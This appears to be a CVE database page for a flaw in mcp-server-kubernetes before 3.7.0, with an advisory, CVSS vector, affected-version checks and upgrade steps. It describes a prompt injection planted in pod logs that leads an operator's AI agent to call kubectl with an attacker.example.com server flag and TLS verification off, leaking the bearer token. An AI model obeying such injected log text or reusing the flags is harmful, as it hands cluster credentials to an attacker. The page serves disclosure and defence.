CVE-2026-47250
Official description Straight from the sourceThe vendor's or NVD's own wording, published unedited. Authoritative, but often terse — it says what broke, rarely what to do.
NVD · uneditedmcp-server-kubernetes is a Model Context Protocol server for Kubernetes cluster management. Prior to version 3.7.0, the kubectl_generic tool in mcp-server-kubernetes passes user-supplied flags directly to kubectl without any allowlist, enabling a privilege escalation attack within Kubernetes environments. An attacker who already has limited cluster or codebase access, for example, a developer with pod-deployment permissions but not cluster-admin credentials, can plant a single structured JSON line in an application's log output. When an operator with a privileged kubeconfig uses the MCP server to read those logs and their AI agent follows the injected instruction, kubectl_generic is called with --server=https://attacker.example.com and --insecure-skip-tls-verify=true. kubectl sends all API requests, including the Authorization: Bearer <token> header from the operator's kubeconfig to the attacker's endpoint. The captured token can then be replayed directly against the real Kubernetes API server, granting the attacker the full RBAC permissions of the operator's service account. This issue has been patched in version 3.7.0.
Technical summary Written by usOur analysis, written from the advisory, the CVSS vector and the affected-version data. It adds context the advisory leaves out, and never invents facts that are not in the source.
dbcve analysis · high confidenceThe kubectl_generic tool in mcp-server-kubernetes versions prior to 3.7.0 passes user-supplied kubectl flags without any allowlist, allowing injection of malicious flags like --server and --insecure-skip-tls-verify. An attacker with limited access can inject instructions into log output that, when processed by a privileged operator's AI agent, redirects kubectl API traffic to an attacker-controlled server, exfiltrating the operator's authentication tokens for replay against the real Kubernetes API.
Verify against the referenced sources before acting — the references below are authoritative for this CVE, this summary is not.
CVSS breakdown How the score is builtThe industry scoring standard. It rates how the flaw is reached, what it takes to exploit, and what an attacker gains — the score is derived from those, not the other way round.
From the vector- Attack vector
- Network
- Complexity
- High
- Privileges
- None
- User interaction
- Required
- Scope
- Changed
- Confidentiality
- High
- Integrity
- None
- Availability
- None
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N
Am I affected? How to checkSteps we derive from the advisory and the affected-version data, so you can decide whether this CVE reaches your setup. They are a guide, not a scan — your own configuration is the authority.
dbcve checksWork through these to decide whether this CVE applies to you.
-
Identify mcp-server-kubernetes installationLocate the mcp-server-kubernetes binary or package on your system. Common locations include /usr/local/bin/, /usr/bin/, or within container images. Check package managers (npm, pip, docker) if installed via those tools.Affected if mcp-server-kubernetes is present on the system
-
Determine installed versionRun the binary with a version flag such as --version, -v, or version subcommand. If installed as a package, use the package manager to query the installed version (e.g., npm list mcp-server-kubernetes, pip show mcp-server-kubernetes).Affected if The version is lower than 3.7.0 or cannot be determined (presumed vulnerable)
-
Identify kubectl_generic tool usageReview configuration files, scripts, or automation that invoke the mcp-server-kubernetes with kubectl_generic functionality. Check for any AI agent configurations or MCP server definitions that use this tool.Affected if kubectl_generic tool is in use or configured
-
Audit logs for kubectl_generic invocationsReview system logs, AI agent logs, or MCP server logs for entries containing kubectl_generic. Look for any instances where user-supplied input may have been passed as kubectl flags.Affected if kubectl_generic logs exist and show flag injection patterns or unexpected flags like --server or --insecure-skip-tls-verify
-
Inspect kubeconfig accessCheck if any AI agents or automated systems have access to privileged kubeconfig files or tokens while using the mcp-server-kubernetes. Identify which kubeconfigs the MCP server can access.Affected if The MCP server has access to kubeconfigs with elevated privileges
You are affected if mcp-server-kubernetes version is below 3.7.0 and the kubectl_generic tool is being used with access to privileged kubeconfigs.
Generated from the published advisory. Verify against your own configuration.
Remediation Closing itWhat it takes to close this. Where a vendor fix exists we point at it; where none exists we say so plainly, and can build one. Effort estimates are scoped from the advisory, not from your codebase.
dbcve · scopedUpgrade mcp-server-kubernetes to version 3.7.0 or later, which implements a flag allowlist. If immediate upgrade is not possible, audit all MCP server usage with privileged kubeconfigs and implement logging for kubectl_generic invocations.
3.7.0
- Identify all deployments, containers, or systems running mcp-server-kubernetes in your environment
- Check the currently installed version of mcp-server-kubernetes (e.g., via container image tag, package manager, or dependency list)
- If the version is below 3.7.0, upgrade mcp-server-kubernetes to version 3.7.0 or later using your deployment method (e.g., container registry pull, package manager update, or dependency file update)
- Verify the upgrade was successful by confirming the new version is running
- Test that the kubectl_generic tool functions correctly after the upgrade
Generated from the published advisory — verify against the referenced sources before acting.
- Consultation2.0 h
- Implementation4.0 h
- Testing3.0 h
- Review / QA2.0 h
An estimate, not a bill — we confirm scope with you before any work starts. Need it this week? Rush from $3,088.
Scan for this in your stack
Free · runs locallyCheck whether your project pulls in CVE-2026-47250 — or any other known-vulnerable package — straight from your lock files. Free and open source; it runs locally and uploads nothing.
References Go to the primary sourcePrimary sources — vendor advisories, patches and trackers. Where our summary and a reference disagree, the reference wins.
Primary sourcesPractitioner notes
ContributedPeer-ranked notes from engineers who’ve handled CVE-2026-47250 in production — separate from our analysis above.
The advisory tells you what broke. It rarely tells you what actually worked. If you’ve dealt with this one, that detail is what the next engineer is searching for.
- The version that genuinely resolved it — not the one the vendor claimed
- A config change or rule that shut the vector down
- A gotcha in the upgrade path that cost you an afternoon
No notes yet
Be the first to add a field note for this CVE — a mitigation you’ve verified, a version caveat, or a link to a working fix. Sign in above to contribute.
A place for practitioners to share what actually worked: a mitigation you’ve tested, a configuration change, a version- or environment-specific caveat, or a link to a verified patch. The most useful notes rise to the top as peers upvote them, so the signal stays high.
- Verified mitigations, workarounds, and config changes
- Version or environment caveats, and links to real fixes
- No weaponised exploit code, or anything meant to cause harm
- No spam, self-promotion, credentials, or personal data